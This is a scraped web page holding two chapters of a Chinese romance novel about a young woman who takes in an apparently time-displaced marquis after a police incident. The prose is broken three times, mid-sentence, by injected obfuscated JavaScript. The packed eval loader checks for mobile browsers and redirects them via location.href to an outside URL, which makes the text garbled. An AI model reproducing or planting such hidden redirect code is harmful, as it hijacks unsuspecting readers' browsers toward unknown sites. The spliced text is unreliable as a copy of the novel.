l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323387|183194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯人给他这些东西叫贿赂、收买,也是犯法的,不能要的。 她收走了金链子和手表,边拉着他进楼里边教育道:“犯人给的任何东西都不能要,这些都是赃物。懂了吗?” 容成叙却道:“没钱如何养你?” 君令仪无语道:“我好着呢,不用你养,更消受不起这些脏钱。” 容成叙指指后边的朱壮,道:“那他呢?你还想指望他养你?” 君令仪竖起了眉,郑重其事道:“姑奶奶我能养活自己,不奢望你们这些臭男人!”顿了顿,她不耐烦的,“赶紧的,把赃物还回去。” 容成叙还是不依不饶的:“我若归还,无钱也无住处,你收留我?” 这人不如改姓赖好了,好不容易撇下他,这会遇到了又像牛皮糖一样黏了上来。 君令仪横他一眼:“我家庙小,容不下您这尊大佛。而且,救助站会好好安置你,也会帮你找到家人,你就放宽心待在救助站好吧。” 容成叙立马变脸似的又委屈又失望地道:“我方从那处逃命,你又要将我送入虎口,君小姐好狠的心!” “救助站哪是虎口了?!你这人好歹不分。” “方才那捕快所言之窝点,便是君小姐所说的救助站。” 啊这,太出乎意料了!按他这么说,她确实是把他推入了火坑。 虽然明知不是自己的错,君令仪还是没来由的一阵内疚,但没钱的事实很快把她拉回现实。她甩甩头,声明道:“反正我没钱供你吃住,你不要赖上我。” 容成叙抿紧了唇,盯着她,语气异常落寞:“我流放至此,除了君小姐,不识他人。” 朱壮一听这话,终于找到契机似的往前几步,向容成叙摆摆手,笑眯眯道:“Hi!朋友,我叫朱壮,可以叫我朱大哥或者壮小妹,实在勉强,壮哥也成。嘿嘿,你怎么称呼啊?你皮肤怎么保养的?头发怎么打理的?有什么诀窍和秘方吗?大家都是朋友分享分享嘛。” 容成叙皱了皱眉,后退一步,眼高过天,语气不屑道:“你可知我是何许人也?区区一介草民也想结识本侯……咳,结识我?哼!” 啧啧啧!瞧这傲娇显摆的小样儿,又演上了…… 君令仪情不自禁地翻了个白眼。 朱壮闻言一愣,随后像发现新大陆一般,走过去一把握住了他的手,兴奋道:“啊哈!你好有趣,你这朋友我交定了,你到底叫啥?” 容成叙神色一僵,嫌弃地抽回自己的手,想从裤兜里掏出件东西擦手,可裤兜里哪有东西,他掏了个寂寞。 君令仪瞧他一脸膈应,坏心眼又起,对朱壮道:“壮哥,他叫容成叙,叫他叙叙就好。叙叙,嘘嘘,嘘嘘嘘……” “哎呀!小君君,你别叫了,叫得我都想上厕所了!”朱壮踱了下脚嗔怪道。 容成叙脸上的肌肉抽搐了一下,但好教养愣是让他忍住了骂人,他瞪了君令仪一眼,别开了脸道:“除了君小姐,其他人不可直呼我的名讳。”他像是终于妥协了似的,撇了撇嘴,“我字纵怀,可唤我纵怀。” 朱壮从善如流道:“纵怀兄,什么年代了你父母竟然还给你起了字,你们家可真有意思!哈哈!” 容成叙白了他一眼,拉住君令仪就往接警中心走。 11. 横财横祸 接警中心已有民警引导他们进入了办案区。 容成叙听话地归还了大金链子和手表,朝君令仪一脸邀功样:“我按君小姐的意思做了,目下身无分文,你得管我。” 刚才好心解释的民警恰好从检查室出来,听了这一句,扬扬手中的表格,笑道:“帅哥,别担心,我说过给你申请‘见义勇为’奖励的。喏!我老大刚给批了,你留个银行卡号,过两天给你打过去。” 啥?他有奖金? 君令仪立刻笑眯眯地问:“警察叔叔,有多少?” “一万。” 哇塞!比她原来的存款还多!原来这神经病还是个来钱快的主呀!这是横财啊!横财入袋,不收的话,天诛地灭人神共愤啊! 君令仪变脸似的对容成叙和蔼可亲地一笑:“叙叙,姐怎么会不管你呢,姐恨不得管你一辈子,你的钱就是姐的钱哈!” 容成叙脸色微僵,不知是因为她对他的称呼让他想起刚才的尴尬,还是因为她在他面前自称姐。不过,他旋即又莫名地勾起嘴角笑了笑,道:“君小姐留下我,我的钱便是你的,不然……” “没有不然!”君令仪立马打断他,打包票的,“留,肯定得留你!谁也赶不走我家叙叙!” 容成叙暗暗一笑,得寸进尺道:“那请邱捕快见证,君小姐自愿收留我,对我不离不弃,如若违背——”他故意顿了顿,等她接下文。 “不不不。”君令仪果然极快地接上了,“不违背,我发誓,对你不离不弃。” 容成叙闻言心情极好地笑了,那双瑞凤眼犹如敛翅歇息的凤凰忽然被点亮,竟顾盼生姿起来。 嗯?这人怎么有种奸计得逞的感觉?她被套路了吗?对他不离不弃,这话貌似不应该这么用的吧?管他呢,反正他以后的钱就是她的了,这才是重点! 君令仪转向邱姓民警,道:“邱Sir,他没有银行卡,留我的账号可以不?” 邱陆公事公办道:“按照规定,除非是直系亲属,否则你的账号不行。” 君令仪一阵失望,看来横财并没有眷顾她。 容成叙看了她一眼,问邱陆:“不要银票,收银子,可行?” 邱陆一脸茫然,君令仪眼前一亮,给他解释道:“付现行不行?” “哦,也可以的,我给你们申请,到时叫你们过来领。” “Yes!Thankyou,Sir!”君令仪一拍手掌,又精神抖擞起来。 邱陆笑了笑,招呼容成叙:“帅哥,来!你虽然协助了抓获嫌疑人,但当时也在案发现场,需要做一些基本的信息采集,跟我来。” 容成叙跟着邱陆进了信息采集室,没过多久,从里面猝然传来“哐当”几声巨响,伴随着的是容成叙辨识度极高的沙哑嗓音怒吼道:“妖物!你休想得到本侯的躯体!本侯这便毁了你!” 紧接着是邱陆的声音,劝道:“我说帅哥,不,容成叙,这是指纹机啊,你可别砸了,要给砸坏了!” 另一个民警气急败坏的声音:“喂喂喂!这什么人啊,神经病啊!邱Sir,你快撵他出去,我要告他毁坏公物,他得赔我指纹机!这可是最新款的,一台要八千块!可心疼死我了!” 君令仪一听要赔八千块一台的指纹机,顿时感觉太阳穴突突地跳个不停。 横财啊!她的横财还没到手就飞来横祸,硬生生撬走了八千!咋这么倒霉呢! 这个容成叙,果然还是神经病!谁知道哪天一言不合就开砸,哪还有钱给他折腾。这人留不得!刚才就不该贪钱想都不想说什么收留他,不离不弃啥的。这该死的贪欲! 君令仪悔得肠子都绿了,见到容成叙被邱陆半推半就地从信息采集室拉了出来,便急冲冲地跑过去,横眉怒目地一顿输出:“你个疯子!哪来的妖物,一天天的妖物妖物,你是不是邪教徒!这里是新中国,信奉唯物主义,别给我再整那有的没的,钱都让你整没了!” 容成叙倒好,一点都不怯,义正词严道:“大煌境内,莫非王土,即便岭南,也并非附属国。我不曾听闻岭南竟叫新中国,也不知晓何为唯物主义。此地妖物横行,我劝君小姐还是多加小心为上。” 一旁的邱陆听得丈二摸不着头脑,想起他一直把自己叫作捕快,言行举止也都异于常人,又是在救助站遇上的,看来恐怕是有点精神方面的疾病,才会想不起来家人是谁,也没有人来领走他。而眼前这位他唤作君小姐的女孩,应该是他唯一认得的人了。 邱陆看了看君令仪,语重心长道:“小君呀,你这朋友得按时吃药,还要多多关心和疏导,不要让他再情绪失控了。局里的指纹机就一台,愣是给他砸坏了,本来给他申请了一万块钱奖金,到时钱申请回来,你们来签个字,之后我还得扣八千给采集室作为补偿。” 君令仪哭丧着脸点了点头。 唉!两千只够他还回她之前先垫付的医院检查费。这样的话,就相当于他现在又是身无分文了。 君令仪气不过,剜了那个惹事的人一眼,转身就走。 容成叙连忙跟上她,巴巴地问道:“君小姐,你如今住在何处?是否比原先的府邸大?” 府邸?古代达官贵人的房屋才叫府邸,跟人家比,他想什么呢! 君令仪没好气道:“比猪圈大,满意了吧。” 容成叙笑开了颜,语气松快道:“虽我未曾见过猪圈,然侯府有马厩,约莫相差无几。” “呵呵!” 君令仪干笑两声,没再理他,去拿了自己的小电驴,骑上就准备走。 容成叙意识到她又要甩掉自己,急忙一把按住了她的车头,微愠道:“你不让我共乘?” 君令仪明知故问,坦然道:“我为什么要搭上你?” 容成叙的眸色暗淡下来,盯着她看了一会,才道:“你发誓对我不离不弃,目下竟又撇下我,是何用意?” 君令仪一边发动车子,一边大言不惭道:“我发誓的时候你还有一万块,现在呢,陪了八千,剩下两千还我,你就一分钱都没了,我还得养你,我傻啊我!” 容成叙一听,摸清了她的思虑,立刻道:“我能赚钱。你留下我,我能给你赚许多钱,买你想买的任何物件。” 嗯?这意思怎么听着也是赚钱养她?他有这念头倒不错,就是不知他的赚钱能力是不是如他自己所说的那样。 君令仪正上下打量盘算着他的潜力值能达到多少,容成叙已黄婆卖瓜自卖自夸上了:“我骰子戏玩得好,每每完胜对家,可大赚。” “切!嘥气!”君令仪讲了句岭南方言。 投骰子赚钱,那就是赌博,剑走偏锋要不得。 见她不认同,容成叙立马换了一个:“我肌肤、长发比旁人好,壮兄曾问我要秘方,我可以把秘方出售。” 君令仪来兴趣了,忙问道:“你真有秘方?快告诉我。” 容成叙狡黠一笑,卖了个关子:“我告知了你,你便又抛下我不管了。” 君令仪引诱道:“你先把秘方告诉我,我看是不是行得通,要是可行我就带你回去。” 容成叙故作高深道:“此秘方为家传,不可轻易透露,除非为至亲之人。” 言下之意就是和她非亲非故,就不告诉她呗。行吧,看他确实长得英俊迷人,皮肤吹弹可破,长发黝黑发亮,双眼blingbling的,想来可能家里是真有什么秘方才能养成这样的,就暂且信他一回吧。之后拿到秘方她再以此大赚一笔也未尝不可。 “咳咳!我想了想,你说的也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323388|183194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无道理,不过——”君令仪敛了颜色,“我声明哈,你要是再做出像刚刚砸指纹机那样的暴力行为,我可立刻翻脸不认人把你甩了!” 容成叙眉开眼笑地满口答应:“有君小姐在,我自然不会冲动。” 君令仪威胁道:“你发誓!” 容成叙举起右手,五指并拢,认真地道:“我发誓,无君小姐的授意,绝不轻举妄动!” 嗯,孺子可教也。 “行吧,坐后面去。”君令仪努了努下巴示意他上车。 容成叙忙不迭跨上车后座去,可他似乎是第一次坐小电驴,双手不知该放哪才好。 不待他扶稳,君令仪就一扭转把飞了出去,后座的人随惯性一下子磕到她的后背上,虽然力度不大,但她还是提醒道:“你可坐稳了,手扶着我。” 后座的人没应她,也没照做。 君令仪狐疑地迅速回头看了他一眼。这不看他还好,一看他,他原本微红的脸更红了,简直像熟透了的桃子。 君令仪坏心眼又起,逗他道:“你该不会是碰到我脸红了吧,你是老古董啊,这么保守。” 容成叙似乎被她点明了心声,羞赧得接不上话。 君令仪好笑地往后摸索抓住他的手放到自己的腰际上,道:“抓稳了,要是把你摔地上,我可不捡了。” 她这话貌似震慑力十足,他立即紧紧抓住了她腰间的衣服。 哈哈哈!怎么觉得他这人虽然经常莫名其妙,却又挺好玩的。 两人回到出租屋,一进门,容成叙竟然吃惊地瞪大双眼念叨开来:“君小姐,这房屋为何比之前的狭窄。猪圈原来如此之小?别说马厩了,竟连侯府的茅房都不如。” 啥?!单间还不如你家厕所? 君令仪眼不见为净地推搡他:“行行行,你家茅房大,你回你家侯府住茅房去,别在这碍我眼,我这还没你睡觉的床呢。” 容成叙紧紧抓住了门框,巴巴地笑道:“我哪都不去,君小姐在的地便是最好的地。” “哼!算你识相。” 君令仪把床单扯下来,铺到离床最远的一块地上,又道:“你今晚只能睡这,刚好天气热,地上凉你不用吹风扇也能睡。” 容成叙皱起剑眉看了看这异常简陋的“床”,再转头去看她的床,似乎触动颇深,眼眸暗沉,嗓音低落道:“我会好好赚钱,让你过上富足无忧的日子。” 哟!又开始立flag了,他现在是打定主意把养她当成是一件重要事来看待。算了,由他去吧,神经病也得有精神寄托不是? 两人简单吃了碗素面,分别洗了澡坐到属于各自的领地。 君令仪看他依然穿着破破烂烂的T恤,恻隐之心作祟,道:“你把衣服脱下来,我给缝补缝补。” 容成叙颇为意外地道:“君小姐竟懂女红?” 君令仪自信满满道:“当然。” 容成叙看了看她,犹豫了片刻,最终还是慢吞吞地脱了T恤递给了她。 君令仪侧过身避开他接过衣服,余光瞥到他光着的上半身,那男性特有的肌肉线条流畅而分明。他的身材极好,胸膛厚实,人鱼线没入腰间。尤其那一双臂膀,粗壮结实,像长年健身和练武之人才会有的。 她忍不住往上偷瞄,他的喉结轮廓锋利,犹如一块未经打磨的岩石,充满了原始而粗犷的男性气息。 妈呀!她怎么之前一直没注意到他连喉结都这么性感! 君令仪继续心痒痒地朝上看,他的下巴清晰利落,如刀削斧劈,他的嘴唇厚薄适中,健康殷红,此刻正微微勾了起来,带起一股玩世不恭的意味。 这一抹轻佻的笑意,让她霎时顿悟过来,慌忙凝了凝神,却撞入他那双黑白分明,清澈明亮的眼眸中。 12. 腰间刺青 容成叙的笑意虽然看起来是吊儿郎当的,但尚有淤伤的脸上却是微红的,注视着她的目光柔和而坚定。 君令仪一时失了神,怔怔地看着他,竟忘了手上拿着针线,一不小心戳到了自己的手指。 “哎呦!”她吃痛地叫了一声,低头看了看立即冒血的伤口,正要起来去厕所的水龙头冲洗,却也听到一声沙哑低沉的“哎呀!”自头顶传来。她抬头去看,便见容成叙捂住下巴,眯着一只眼睛,含糊道:“君小姐是练过铁头功么?” 君令仪这才意识到自己起身时撞到他的下巴了,她看他无奈的模样,竟莫名地觉得好笑,怼他道:“谁让你不打招呼就过来,你不能越界,我的床你休想碰。” 容成叙似乎下巴被撞的同时不小心咬到舌头了,口齿不清道:“哦祖素嗓革你拿桑。” 君令仪一听,脑海里浮现出古装剧里柔弱女主做女红被针扎出血,霸道男主二话不说,把她受伤的手指立刻含在嘴里止血你侬我侬的画面。她鸡皮疙瘩都起来了,赶紧把手藏起来,学着他的语调威胁道:“你过呐,哦揍你哦!” 容成叙乖乖地转身坐回去,但他一转身,腰际的刺青便又醒目地呈现在眼前。君令仪眼尖地发现自上次火灾后又有一个瓜熟了,那血红色的颜色让人觉得刺眼。她连自己的伤口都不管了,连忙叫住了他:“欸!你过来。” 容成叙又一次回头,不乐意道:“哦不叫欸。” 君令仪顾不上这些,道:“你过来背过身去,让我看清楚点。” 容成叙无奈地听从她的话。 君令仪靠近他,仔细观察他腰上的刺青。确实是有两个血红色的瓜。 她用手指戳了戳那血红色,刮不掉颜色,不是画上去的,是真的刺青。她点上他的腰,数着瓜的数量:“1234567,一共7个瓜?哈!葫芦娃吗?”她说着,开怀地唱起歌来:“葫芦娃,葫芦娃,一根藤上七个瓜……” 容成叙本来在她触碰他的腰时,神经紧绷,忽然听到她唱起了奇怪的歌谣,丝毫没有把触摸他的肌肤当回事,不禁有些懊恼,回过身来,咬字都清晰了,酸酸地道:“君小姐让我坦诚相见,却只是捉弄我,让我难堪,你待我何至于此。” 君令仪一怔,忙解释道:“呵呵,我哪有耍你,就是刚好七个瓜,忍不住就想起葫芦娃来。” 容成叙双眸一凛,道:“葫芦娃是何人?纠缠你的妖物?” 君令仪又是一愣,忍不住又笑了:“嗯,可能我们真不是一个世界的人,至少不是一个时代的人。你竟然不知道葫芦娃,这说出去谁信啊。” 容成叙抿紧了唇,落寞地看了她一眼,一言不发地走回自己的“床”坐下。 君令仪倒没忘了正事,问他:“你为什么在背上纹了一根藤挂着七个葫芦,啊不,七个瓜啊?有什么特殊含义吗?” 容成叙回头瞟了眼那刺青,蹙起了剑眉,竟道:“不知,此刺青并非我找工匠雕的。” 君令仪意外极了,又问:“那有两个小瓜是红色的,你也不知怎么回事?” 容成叙摇了摇头。 君令仪觉得这瓜似曾相识,蓦地想起他的环状玉佩来,那玉佩内环挂的就是一个小瓜。她总觉得这里面有什么关联,忙从枕头下摸出一个塑料袋,掏出了那断了的两掰玉佩,幸好当时玉佩的小瓜没有摔坏。她仔细端详了一会,断定这瓜和容成叙腰际上的瓜是同一个品种。 她疑惑地嘀咕道:“为什么玉佩上也有瓜?这瓜到底有什么特殊含义吗?” 容成叙抬起眼皮盯着她看了片刻,幽幽地道:“瓜瓞绵绵,世代昌盛。” 君令仪还是不解:“寓意康健长寿的意思?” 容成叙睨了她一眼,凉凉地道:“君小姐若非故意,那便是得了癔症,竟全然忘了你曾与我订亲,而此物便是你家镇北将军府的定亲信物。瓜瓞绵绵,寓意我们开枝散叶,人丁兴旺,家族绵延,世代昌盛。” 君令仪眨了眨眼,看来他还是沉浸在自己的幻象里,把她当成是任君,还把对任君的情感都转寄到她身上。不行,得打破他不切实际的幻想。 她摊开手掌示意他看玉佩,惋惜道:“可惜啦!玉佩都断了,也就是说你和人任小姐没缘分,开不了枝散不了叶,别痴心妄想了。” 容成叙一听,脸色顿时变得铁青,幽怨地瞪了她一眼,背过身去不理她了。 嚯,下了剂猛药,看来是奏效了,他开始反省自我了。 得知小瓜的寓意是美好的,君令仪便不再多想,拿起他的破烂T恤专心缝补起来,不消片刻,她便剪断线头,大功告成。 她把缝好的衣服抛回给他:“衣服接着,穿回去。” 容成叙身都没转,手一扬,T恤准确地落在了他的手掌上。他摊开来一看,两条如蜈蚣般的蜿蜒粗壮的黑色长条赫然爬于衣上。 他一脸愕然,禁不住回头调侃道:“我竟不知君小姐的女红如此之好!” 君令仪没听出他话里的意味,高兴地道:“那是自然。” “呵呵!君小姐缝得极好,下次莫要再缝了。” 嗯?这话的意思不就是挖苦她么。 君令仪挑高了眉,道:“难道你是想让我给你绣上荷花,还是鸳鸯?” 容成叙却好心情地笑了:“那倒不必。” 君令仪从鼻子里哼出一句:“算你识相。” 容成叙无奈地笑了笑,穿上衣服,再去看她时,发现她垂着脑袋玩弄着那个叫手机的小匣子。他忽然想起了什么,又道:“君小姐,我此次协助邱捕快捉拿了犯人,衙门都给我奖赏了,这算一个大赞吧?” 君令仪手指在手机上翻飞,头也不抬地敷衍道:“嗯,赞,给你点个超级大赞。” 容成叙来了劲头:“那我如今攒了两个大赞了,还有五个便能获得一部手机了。” 君令仪眼皮一跳,这才想起之前答应过他的什么集齐七个超级无敌大赞就可以给他买手机的鬼话!他竟然当真,他不傻谁傻! 行吧行吧,还有五个,还长着呢,先忽悠着吧,反正吃饭都成问题,买手机那是不可能的。 “之后也要像这次这样立了大功才能申请点赞哦!”她强调,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325888|183194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了想,又好奇道,“欸,话又说回来,你是怎么个协助法?我看你白白嫩嫩,挑三拣四,肩不能挑手不能提的,虽然一身腱子肉,但中看不中用啊,怎么能敌得过坏人呢?” 容成叙似乎就等她问起,闻言终于来了精神头似的双腿盘上,正襟危坐、情绪饱满地开始讲述起他的英雄事迹: “我被送到救助站片刻后,来了人扎我手取走了许多血,敢伤本侯那厮自然也被本侯毒打了一顿,哼!” 估计是抽血验他有没有毛病,这不是重点。 “然后呢?” “两日后,来了几个没眼睛的大汉欲抓本侯,也被本侯打了,他们打不过,便用独门暗器扎中了本侯,本侯便没了知觉……” “等等!没眼睛也能打架和使用‘暗器’?”君令仪大惑不解。 “他们在眼睛前架了个黑色镜子,如此这般。”他说着,两只手握成圈放到双眼上。 嗨,就是戴着墨镜呗,连这个都不懂,认知障碍深度病症者也。 也就是来了人给他打了针镇静剂呗。也是,这人抽个血都暴打人无辜的护士,任谁都把他当神经病看待啦,给他镇静镇静也是应该的。 所以,到现在还没进入故事的主题啊…… 君令仪催促道:“然后呢?坏人什么时候出现。” “本侯转醒之时,发现俯卧在一张冰冷的百炼钢床上。”他定睛看了看她,莫名地又红了脸,继续道,“耳边模糊听见一名小娘子嘻嘻笑道:‘他长得真俊,老娘要留下他的种,你可先别弄死他。’” 哈!来了来了,有看头了!一个淫|娃想要把他霸王硬上弓,另一个人想要杀了他。硬上弓能理解,但为什么要杀他? 啊!邱Sir说过捣鼓的是非法人体器官移植窝点,还说他差点被割腰子。看来,他是已经躺在手术台上准备被人开刀了吧。 嘶——他可真命大,麻醉的情况下这都能逃走。 “本侯发现自己的躯体动惮不得,身上插了许多管子,双眼亦无法睁开,似有千斤重石压住,又似中了极厉害的妖法。本侯只好暗中调动体内真气,冲开丹田之浊气,挣开了这妖法,看清了所处之境。那是一个四壁纯白的小房屋,有两男一女戴着面具和手套在一旁忙碌地检查刀具。 “本侯不动声色屏息凝神观察四周,竟被那小娘子发现了,她过来讶异道:‘啊!麻醉没下够吗?他怎么醒了?’一男人看了看本侯身边那方方正正嘀嘀叫的妖物,道:‘没错,量管够,他现在动不了,再过十分钟他就能昏迷没感觉了,到时再动手。’那小娘子嘻嘻笑道:‘趁他还醒着,我是不是可以为所欲为?唉呀妈呀,就没见过这么俊的男人。’” 容成叙说到这,停下来瞄了她一眼,似乎在等她发表几句感言。 君令仪眨了眨眼,心领神会假意感叹道:“我家叙叙真是不容易呀!长得帅竟然是原罪,呜呜呜!好心疼哦!” 咳!正听得起劲,那女人到底是不是把他给啥啥啥了呀?具体步骤啊细节啊反应啊情绪啊啥的,都给本小姐一五一十毫无保留全都给细细讲来啊喂!